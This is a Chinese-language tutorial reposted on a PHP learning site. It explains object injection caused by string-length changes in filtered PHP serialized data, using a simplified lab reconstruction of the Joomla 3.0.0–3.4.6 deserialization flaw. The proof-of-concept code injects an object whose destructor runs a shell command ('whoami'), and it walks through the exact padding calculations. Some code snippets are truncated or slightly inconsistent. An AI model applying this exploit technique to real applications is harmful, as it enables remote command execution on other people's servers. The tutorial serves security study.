0

0

PHP字符逃逸导致的对象注入详解

angryTom

angryTom

发布时间:2019-11-29 16:30:35

|

2825人浏览过

|

来源于博客园

转载

PHP字符逃逸导致的对象注入详解

1.漏洞产生原因:

序列化的字符串在经过过滤函数不正确的处理而导致对象注入,目前看到都是因为过滤函数放在了serialize函数之后,要是放在序列化之前应该就不会产生这个问题

1.png

php特性:

1.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的

立即学习PHP免费学习笔记(深入)”;

2.对类中不存在的属性也会进行反序列化

以上代码就明显存在一个问题,即从序列化后的字符串中明显可以看到经过filter函数以后s:6对应的字符串明显变长了

并且如果对于a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa"; 这种字符串而言,也能够正常反序列化,说明php在反序列化的时候只要求一个反序列化字符串块合法即可,当然得是第一个字符串块

以上代码为例,如果能够利用filter函数这种由一个字符变为两个字符的特性来注入想要反序列化后得到的属性,使其可以逃逸出更多可用的字符串,那么我们就能反序列化得到我们想要的属性

比如此时我们想要让反序列化后第二个字符串为123456,此时我们的payload如果和之前的username长度为a,则filter处理以后可能username就会变成a,此时我们的payload变成了新的注入的属性,此时反序列化后就会得到我们想要的结果,比如a:2:{i:0;s:6:"tr1ple";i:1;s:6:"123456";}是我们想要达到的效果,此时我们想要注入的payload明显为:

";i:1;s:6:"123456";}

2.png

可以得到其长度为20

此时我们已经知道过滤的规则为x->yy,即注入一个x可以逃逸出一个字符的空位,那么我们只需要注入20个x即可变成40个y,即可逃逸出20个空位,从而将我们的payload变为反序列化后得到的属性值

$username = 'tr1plexxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}'; //其中红色就是我们想要注入的属性值 
$password="aaaaa";
$user = array($username, $password);
echo(serialize($user));
echo "\n";
$r = filter(serialize($user));
echo($r);
echo "\n";
var_dump(unserialize($r));

3.png

可以看到此时注入属性成功,反序列化后得到的属性即为123456

2.实例分析

joomla3.0.0-3.4.6 对象注入导致的反序列化,以下为参考别人的简易化核心漏洞代码

cmd = $cmd;
    }
    public function __destruct(){
        system($this->cmd);
    }
}
class User
{
    public $username;
    public $password;
    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }
}
function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}
function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}
if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}
$username = "tr1ple";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

在这里如果想要通过注入对象来实现反序列化则必须在外部对象内进行注入存在的属性,不能在其外部,否则php将不会进行我们注入恶意对象的反序列化

例如此时因为反序列化读取的时候将会将六位字符\0\0\0替换成三位字符chr(0)*chr(0),因此字符串前面的s肯定是固定的,那么s对应的字符串变少以后将会吞掉其他属性的字符,那么如果我们精心算好吞掉的字符长度,并且能够控制被吞掉属性的内容,那么就能够注入对象,从而反序列化其他类

4.png

MagickPen
MagickPen

在线AI英语写作助手,像魔术师一样在几秒钟内写出任何东西。

下载

比如如上所示,此时我们要注入的对象为evil,此时username和password的值我们可控,那么我们可以在username中注入\0,来吞掉password的值,比如

所以此时首先确定我们要吞掉的字符的长度

O:4:"User":2:{s:8:"username";s:6:"tr1ple";s:8:"password";s:4:"1234";}

正常情况下我们要吞掉 ";s:8:"password";s:4:" 为22位

5.png

但是因为注入的对象payload也在password字段,并且长度肯定是>=10的,因此s肯定是两位数,因此这里为22+1=23位字符

因为是6->3,因此每次添加一组\0\0\0能多吞掉3个字符,因此需要肯定都是3的倍数

因此我们假如这里构造username为\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 

6.png

 则经过read函数处理后长度将变为24

7.png

即此时能够多吞掉24个字符,为了不让其吞掉payload,我们可以填充1位字符A,即令password的值为A+payload即可

cmd = $cmd;
    }
    public function __destruct(){
        system($this->cmd);
    }
}
class User
{
    public $username;
    public $password;
    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }
}
function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}
function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}
if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}
$username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; $shellcode=$password.$payload; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

8.png

 执行结果如上图所示,将成功反序列化password属性所对应的值,其值即为我们注入的对象,整个过程也容易理解,就是吞掉后面的属性来注入属性,那么达到攻击有以下要求:

1.相邻两个属性的值是我们可以控制的

2.前一个属性的s长度可以发生变化,变长变短都可以,变短的话可以吞掉后面相邻属性的值,然后在相邻属性中注入新的对象,如果边长则可以直接在该属性中注入对象来达到反序列化

比如XNUCA2018 hardphp就考察了一个这个相关的trick

这里就出现了用前面的data在反序列化时向后吞一位字符,从而可以导致吞掉后面的普通用户的username字段,而在username字段可以放上我们想要伪造的username,从而达到伪造session的目的

更多PHP相关知识,请访问PHP中文网

热门AI工具

更多
DeepSeek
DeepSeek

幻方量化公司旗下的开源大模型平台

豆包大模型
豆包大模型

字节跳动自主研发的一系列大型语言模型

通义千问
通义千问

阿里巴巴推出的全能AI助手

腾讯元宝
腾讯元宝

腾讯混元平台推出的AI助手

文心一言
文心一言

文心一言是百度开发的AI聊天机器人,通过对话可以生成各种形式的内容。

讯飞写作
讯飞写作

基于讯飞星火大模型的AI写作工具,可以快速生成新闻稿件、品宣文案、工作总结、心得体会等各种文文稿

即梦AI
即梦AI

一站式AI创作平台,免费AI图片和视频生成。

ChatGPT
ChatGPT

最最强大的AI聊天机器人程序,ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。

相关专题

更多
java入门学习合集
java入门学习合集

本专题整合了java入门学习指南、初学者项目实战、入门到精通等等内容,阅读专题下面的文章了解更多详细学习方法。

2

2026.01.29

java配置环境变量教程合集
java配置环境变量教程合集

本专题整合了java配置环境变量设置、步骤、安装jdk、避免冲突等等相关内容,阅读专题下面的文章了解更多详细操作。

2

2026.01.29

java成品学习网站推荐大全
java成品学习网站推荐大全

本专题整合了java成品网站、在线成品网站源码、源码入口等等相关内容,阅读专题下面的文章了解更多详细推荐内容。

0

2026.01.29

Java字符串处理使用教程合集
Java字符串处理使用教程合集

本专题整合了Java字符串截取、处理、使用、实战等等教程内容,阅读专题下面的文章了解详细操作教程。

0

2026.01.29

Java空对象相关教程合集
Java空对象相关教程合集

本专题整合了Java空对象相关教程,阅读专题下面的文章了解更多详细内容。

3

2026.01.29

clawdbot ai使用教程 保姆级clawdbot部署安装手册
clawdbot ai使用教程 保姆级clawdbot部署安装手册

Clawdbot是一个“有灵魂”的AI助手,可以帮用户清空收件箱、发送电子邮件、管理日历、办理航班值机等等,并且可以接入用户常用的任何聊天APP,所有的操作均可通过WhatsApp、Telegram等平台完成,用户只需通过对话,就能操控设备自动执行各类任务。

25

2026.01.29

clawdbot龙虾机器人官网入口 clawdbot ai官方网站地址
clawdbot龙虾机器人官网入口 clawdbot ai官方网站地址

clawdbot龙虾机器人官网入口:https://clawd.bot/,clawdbot ai是一个“有灵魂”的AI助手,可以帮用户清空收件箱、发送电子邮件、管理日历、办理航班值机等等,并且可以接入用户常用的任何聊天APP,所有的操作均可通过WhatsApp、Telegram等平台完成,用户只需通过对话,就能操控设备自动执行各类任务。

16

2026.01.29

Golang 网络安全与加密实战
Golang 网络安全与加密实战

本专题系统讲解 Golang 在网络安全与加密技术中的应用,包括对称加密与非对称加密(AES、RSA)、哈希与数字签名、JWT身份认证、SSL/TLS 安全通信、常见网络攻击防范(如SQL注入、XSS、CSRF)及其防护措施。通过实战案例,帮助学习者掌握 如何使用 Go 语言保障网络通信的安全性,保护用户数据与隐私。

8

2026.01.29

俄罗斯Yandex引擎入口
俄罗斯Yandex引擎入口

2026年俄罗斯Yandex搜索引擎最新入口汇总,涵盖免登录、多语言支持、无广告视频播放及本地化服务等核心功能。阅读专题下面的文章了解更多详细内容。

585

2026.01.28

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
PostgreSQL 教程
PostgreSQL 教程

共48课时 | 8万人学习

MongoDB 教程
MongoDB 教程

共17课时 | 2.4万人学习

C# 教程
C# 教程

共94课时 | 7.9万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号